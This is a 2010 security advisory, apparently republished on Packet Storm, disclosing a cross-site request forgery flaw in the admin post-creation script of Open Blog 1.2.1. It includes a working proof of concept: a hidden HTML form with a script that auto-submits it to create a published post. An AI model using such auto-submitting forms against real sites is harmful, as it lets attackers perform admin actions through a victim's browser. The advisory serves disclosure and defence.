Open Blog 1.2.1 Cross Site Request Forgery

2010-12-31T00:00:00
ID PACKETSTORM:97179
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-12-31T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB22763  
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_open_blog.html  
Product: Open blog  
Vendor: K5 Storitve ( http://www.open-blog.info/ )   
Vulnerable Version: 1.2.1  
Vendor Notification: 15 December 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/admin/posts/create" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://[host]/admin/posts/create" method="post" name="main" />  
<input name="title" value="1" type="hidden" />  
<input name="excerpt" value="<p>2</p>" type="hidden" />  
<input name="content" value="<p>3</p>" type="hidden" />  
<input name="tags" value="" type="hidden" />  
<input name="publish_date" value="12/15/2010" type="hidden" />  
<input name="status" value="published" type="hidden" />  
<input name="allow_comments" value="1" type="hidden" />  
<input name="categories[]" value="1" type="hidden" />   
<input name="submit" value="Create" type="hidden" />  
<input type="submit" id="btn" name="submit" value="Submit ››">  
</form>  
<script>  
document.getElementById('btn').click();  
</script>  
  
  
`